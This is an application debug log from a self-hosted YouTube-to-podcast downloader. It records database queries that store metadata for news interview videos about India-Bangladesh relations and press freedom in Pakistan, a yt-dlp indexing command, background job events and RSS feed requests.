ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["India must moderate the anti-Bangladeshi fury fueled by the media: Jawhar Sircar, former Trinamool Congress Rajya Sabha MP & former Prasar Bharati CEO, to Karan Thapar for The Wire.\n\n..........................................\n\n\nIn an interview where he seeks to explain the many reasons why Bangladeshis have reservations about India as well as the historical character of Hindu-Muslim relations within Bangladesh, the former CEO of Prasar Bharati and former Trinamool Congress Rajya Sabha MP, Jawhar Sircar, has called for India to moderate the anti-Bangladeshi fury sweeping through the country and to “refrain from reacting to every provocation” from Bangladesh.\n\n \n\nMr. Sircar argues that the anti-Bangladeshi fury in India is playing into the hands of extremists and fundamentalists in Bangladesh. In this context, he points out that the decision to force Kolkata Knight Riders to drop Mustafizur Rahman was completely mistaken and wrong. It overlooked the fact that Mustafizur Rahman is an icon and hero for Bangladeshis and in no way responsible for the mistreatment of Hindus in that country. Now, he says, this will encourage ordinary Bangladeshis to turn against India.\n\n \n\nIn the interview, Mr. Sircar explains both Hindu-Muslim relations in Bangladesh as well as Bangladesh’s relationship with India, starting with the way Bengali Hindu Bhadralok dominated Bangladeshi Muslims during two centuries of British rule because of the disproportionate advantage they got from the exploitative zamindari system and from the monopolization of government jobs.\n\n \n\nHe then talks about mistakes India has made in supporting Mujibur Rahman, Sheikh Hasina and, in particular, turning a blind eye to her excesses and growing unpopularity. As he points out, when Sheikh Hasina fell from power “rage against her excesses spilled over as vitriol against India for propping her up.”\n\n \n\nMr. Sircar offers a detailed understanding of the historical evolution of India-Bangladesh relations which explains the present situation between the two countries and how it has emerged. Then, against this background, he talks about the forthcoming Bangladesh elections and why he believes the victory of Tarique Rahman and his Bangladesh Nationalist Party, despite its historical adverse attitude to India, would be the best outcome for New Delhi.\n\n\n\nJoin The Wire's Youtube Membership and get exclusive content, member-only emojis, live interaction with The Wire's founders, editors and reporters and much more. Memberships to The Wire Crew start at Rs 89/month. https://www.youtube.com/channel/UChWtJey46brNr7qHQpN6KLQ/join", "India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar", "4718a93e-aab2-4a57-a9b8-2047027a536e", 2570, false, "NDVG7q8x7Ms", "https://www.youtube.com/watch?v=NDVG7q8x7Ms", 2, "/downloads/music/The Wire/India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar.m4a", false, false, false, 1, [], 1, ~U[2026-01-09 07:36:51Z], ~U[2026-01-10 15:07:26Z], ~U[2026-01-10 15:07:26Z], "India must moderate the anti-Bangladeshi fury fueled by the media: Jawhar Sircar, former Trinamool Congress Rajya Sabha MP & former Prasar Bharati CEO, to Karan Thapar for The Wire.\n\n..........................................\n\n\nIn an interview where he seeks to explain the many reasons why Bangladeshis have reservations about India as well as the historical character of Hindu-Muslim relations within Bangladesh, the former CEO of Prasar Bharati and former Trinamool Congress Rajya Sabha MP, Jawhar Sircar, has called for India to moderate the anti-Bangladeshi fury sweeping through the country and to “refrain from reacting to every provocation” from Bangladesh.\n\n \n\nMr. Sircar argues that the anti-Bangladeshi fury in India is playing into the hands of extremists and fundamentalists in Bangladesh. In this context, he points out that the decision to force Kolkata Knight Riders to drop Mustafizur Rahman was completely mistaken and wrong. It overlooked the fact that Mustafizur Rahman is an icon and hero for Bangladeshis and in no way responsible for the mistreatment of Hindus in that country. Now, he says, this will encourage ordinary Bangladeshis to turn against India.\n\n \n\nIn the interview, Mr. Sircar explains both Hindu-Muslim relations in Bangladesh as well as Bangladesh’s relationship with India, starting with the way Bengali Hindu Bhadralok dominated Bangladeshi Muslims during two centuries of British rule because of the disproportionate advantage they got from the exploitative zamindari system and from the monopolization of government jobs.\n\n \n\nHe then talks about mistakes India has made in supporting Mujibur Rahman, Sheikh Hasina and, in particular, turning a blind eye to her excesses and growing unpopularity. As he points out, when Sheikh Hasina fell from power “rage against her excesses spilled over as vitriol against India for propping her up.”\n\n \n\nMr. Sircar offers a detailed understanding of the historical evolution of India-Bangladesh relations which explains the present situation between the two countries and how it has emerged. Then, against this background, he talks about the forthcoming Bangladesh elections and why he believes the victory of Tarique Rahman and his Bangladesh Nationalist Party, despite its historical adverse attitude to India, would be the best outcome for New Delhi.\n\n\n\nJoin The Wire's Youtube Membership and get exclusive content, member-only emojis, live interaction with The Wire's founders, editors and reporters and much more. Memberships to The Wire Crew start at Rs 89/month. https://www.youtube.com/channel/UChWtJey46brNr7qHQpN6KLQ/join", "India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar", 2570, false, "NDVG7q8x7Ms", "https://www.youtube.com/watch?v=NDVG7q8x7Ms", "/downloads/music/The Wire/India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar.m4a", false, 1, ~U[2026-01-09 07:36:51Z]] 15:07:26.403 [debug] QUERY OK source="sources" db=4.4ms queue=0.1ms idle=820.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 15:07:26.407 [debug] QUERY OK source="media_profiles" db=0.7ms queue=0.3ms idle=25.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:07:26.472 [debug] QUERY OK source="media_items" db=44.1ms queue=0.2ms idle=43.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [36] 15:07:26.473 [debug] Current batch of media processed. Will check again in 1000ms 15:07:26.759 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/playlist?list=PLrRjLdo_f3RuXWrY_jpzwW7v8Afo2pQ3C --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/music/%(artist,creator,uploader,uploader_id)S/%(title)S.%(ext)S --extract-audio --format-sort +acodec:mp3 --audio-format mp3 --format bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/59/26/5926fa5e33c032133397bbfd6b0bb9608ed33b4f427f33363e534fc020ab874f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 15:07:26.808 [debug] Gracefully stopping file follower 15:07:26.809 [debug] QUERY OK source="sources" db=0.8ms queue=0.2ms idle=411.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 15:07:26.811 [debug] QUERY OK source="sources" db=0.7ms idle=406.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 15:07:26.867 [debug] QUERY OK source="media_items" db=56.3ms queue=0.1ms idle=404.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-08 10:22:42Z], 1] 15:07:26.997 [debug] QUERY OK source="media_items" db=128.2ms idle=396.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", "67d9a3e4-7d05-40ba-b01a-881076f81440", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", 1, "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, false, false, 1, [], 1, ~U[2026-01-08 10:22:42Z], ~U[2026-01-10 15:07:26Z], ~U[2026-01-10 15:07:26Z], "#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, 1, ~U[2026-01-08 10:22:42Z]] 15:07:26.998 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=415.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 15:07:27.000 [debug] QUERY OK source="media_items" db=0.7ms queue=0.5ms idle=189.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-09 07:36:51Z], 1] 15:07:27.005 [debug] QUERY OK source="media_items" db=3.1ms idle=189.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["India must moderate the anti-Bangladeshi fury fueled by the media: Jawhar Sircar, former Trinamool Congress Rajya Sabha MP & former Prasar Bharati CEO, to Karan Thapar for The Wire.\n\n..........................................\n\n\nIn an interview where he seeks to explain the many reasons why Bangladeshis have reservations about India as well as the historical character of Hindu-Muslim relations within Bangladesh, the former CEO of Prasar Bharati and former Trinamool Congress Rajya Sabha MP, Jawhar Sircar, has called for India to moderate the anti-Bangladeshi fury sweeping through the country and to “refrain from reacting to every provocation” from Bangladesh.\n\n \n\nMr. Sircar argues that the anti-Bangladeshi fury in India is playing into the hands of extremists and fundamentalists in Bangladesh. In this context, he points out that the decision to force Kolkata Knight Riders to drop Mustafizur Rahman was completely mistaken and wrong. It overlooked the fact that Mustafizur Rahman is an icon and hero for Bangladeshis and in no way responsible for the mistreatment of Hindus in that country. Now, he says, this will encourage ordinary Bangladeshis to turn against India.\n\n \n\nIn the interview, Mr. Sircar explains both Hindu-Muslim relations in Bangladesh as well as Bangladesh’s relationship with India, starting with the way Bengali Hindu Bhadralok dominated Bangladeshi Muslims during two centuries of British rule because of the disproportionate advantage they got from the exploitative zamindari system and from the monopolization of government jobs.\n\n \n\nHe then talks about mistakes India has made in supporting Mujibur Rahman, Sheikh Hasina and, in particular, turning a blind eye to her excesses and growing unpopularity. As he points out, when Sheikh Hasina fell from power “rage against her excesses spilled over as vitriol against India for propping her up.”\n\n \n\nMr. Sircar offers a detailed understanding of the historical evolution of India-Bangladesh relations which explains the present situation between the two countries and how it has emerged. Then, against this background, he talks about the forthcoming Bangladesh elections and why he believes the victory of Tarique Rahman and his Bangladesh Nationalist Party, despite its historical adverse attitude to India, would be the best outcome for New Delhi.\n\n\n\nJoin The Wire's Youtube Membership and get exclusive content, member-only emojis, live interaction with The Wire's founders, editors and reporters and much more. Memberships to The Wire Crew start at Rs 89/month. https://www.youtube.com/channel/UChWtJey46brNr7qHQpN6KLQ/join", "India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar", "0cb4a7cb-ca57-48a8-ba0f-250bc744e709", 2570, false, "NDVG7q8x7Ms", "https://www.youtube.com/watch?v=NDVG7q8x7Ms", 2, "/downloads/music/The Wire/India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar.m4a", false, false, false, 1, [], 1, ~U[2026-01-09 07:36:51Z], ~U[2026-01-10 15:07:27Z], ~U[2026-01-10 15:07:27Z], "India must moderate the anti-Bangladeshi fury fueled by the media: Jawhar Sircar, former Trinamool Congress Rajya Sabha MP & former Prasar Bharati CEO, to Karan Thapar for The Wire.\n\n..........................................\n\n\nIn an interview where he seeks to explain the many reasons why Bangladeshis have reservations about India as well as the historical character of Hindu-Muslim relations within Bangladesh, the former CEO of Prasar Bharati and former Trinamool Congress Rajya Sabha MP, Jawhar Sircar, has called for India to moderate the anti-Bangladeshi fury sweeping through the country and to “refrain from reacting to every provocation” from Bangladesh.\n\n \n\nMr. Sircar argues that the anti-Bangladeshi fury in India is playing into the hands of extremists and fundamentalists in Bangladesh. In this context, he points out that the decision to force Kolkata Knight Riders to drop Mustafizur Rahman was completely mistaken and wrong. It overlooked the fact that Mustafizur Rahman is an icon and hero for Bangladeshis and in no way responsible for the mistreatment of Hindus in that country. Now, he says, this will encourage ordinary Bangladeshis to turn against India.\n\n \n\nIn the interview, Mr. Sircar explains both Hindu-Muslim relations in Bangladesh as well as Bangladesh’s relationship with India, starting with the way Bengali Hindu Bhadralok dominated Bangladeshi Muslims during two centuries of British rule because of the disproportionate advantage they got from the exploitative zamindari system and from the monopolization of government jobs.\n\n \n\nHe then talks about mistakes India has made in supporting Mujibur Rahman, Sheikh Hasina and, in particular, turning a blind eye to her excesses and growing unpopularity. As he points out, when Sheikh Hasina fell from power “rage against her excesses spilled over as vitriol against India for propping her up.”\n\n \n\nMr. Sircar offers a detailed understanding of the historical evolution of India-Bangladesh relations which explains the present situation between the two countries and how it has emerged. Then, against this background, he talks about the forthcoming Bangladesh elections and why he believes the victory of Tarique Rahman and his Bangladesh Nationalist Party, despite its historical adverse attitude to India, would be the best outcome for New Delhi.\n\n\n\nJoin The Wire's Youtube Membership and get exclusive content, member-only emojis, live interaction with The Wire's founders, editors and reporters and much more. Memberships to The Wire Crew start at Rs 89/month. https://www.youtube.com/channel/UChWtJey46brNr7qHQpN6KLQ/join", "India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar", 2570, false, "NDVG7q8x7Ms", "https://www.youtube.com/watch?v=NDVG7q8x7Ms", "/downloads/music/The Wire/India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar.m4a", false, 1, ~U[2026-01-09 07:36:51Z]] 15:07:27.058 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=189.1ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-01-10 15:07:27Z], ~U[2026-01-10 15:07:27Z], 1] 15:07:27.088 [debug] QUERY OK source="media_items" db=0.8ms queue=0.2ms idle=90.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 15:07:27.092 [debug] QUERY OK source="media_items" db=1.4ms queue=0.1ms idle=92.2ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 15:07:27.093 [debug] QUERY OK source="media_items" db=0.4ms idle=92.5ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 15:07:27.261 [debug] QUERY OK source="tasks" db=24.4ms idle=148.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [85, 1, ~U[2026-01-10 15:07:27Z], ~U[2026-01-10 15:07:27Z]] 15:07:27.285 [info] {"args":{"id":1},"id":84,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":14735877,"event":"job:stop","queue_time":355687,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 15:07:27.778 [info] {"source":"oban","duration":16816,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:07:56.038 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 15:07:57.780 [info] {"source":"oban","duration":1113,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:08:00.151 [info] {"source":"oban","duration":442,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:08:04.683 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 15:08:04.683 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 15:08:04.703 [debug] QUERY OK source="sources" db=18.4ms queue=0.2ms idle=1228.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 15:08:04.705 [debug] QUERY OK source="media_items" db=1.2ms queue=0.2ms idle=1247.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 15:08:04.709 [debug] QUERY OK source="source_metadata" db=2.6ms idle=1021.6ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 15:08:04.729 [debug] QUERY OK source="media_metadata" db=19.1ms queue=0.1ms idle=253.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 15:08:04.730 [info] Sent 200 in 46ms 15:08:27.783 [info] {"source":"oban","duration":2058,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:08:57.785 [info] {"source":"oban","duration":1771,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:09:00.153 [info] {"source":"oban","duration":439,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:09:27.788 [info] {"source":"oban","duration":1289,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:09:57.791 [info] {"source":"oban","duration":2129,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:10:00.155 [info] {"source":"oban","duration":411,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:10:27.793 [info] {"source":"oban","duration":1714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:10:33.632 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 15:10:33.632 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 15:10:33.633 [debug] QUERY OK source="sources" db=0.7ms idle=556.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 15:10:33.635 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=177.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 15:10:33.637 [debug] QUERY OK source="source_metadata" db=0.5ms idle=179.8ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 15:10:33.639 [debug] QUERY OK source="media_metadata" 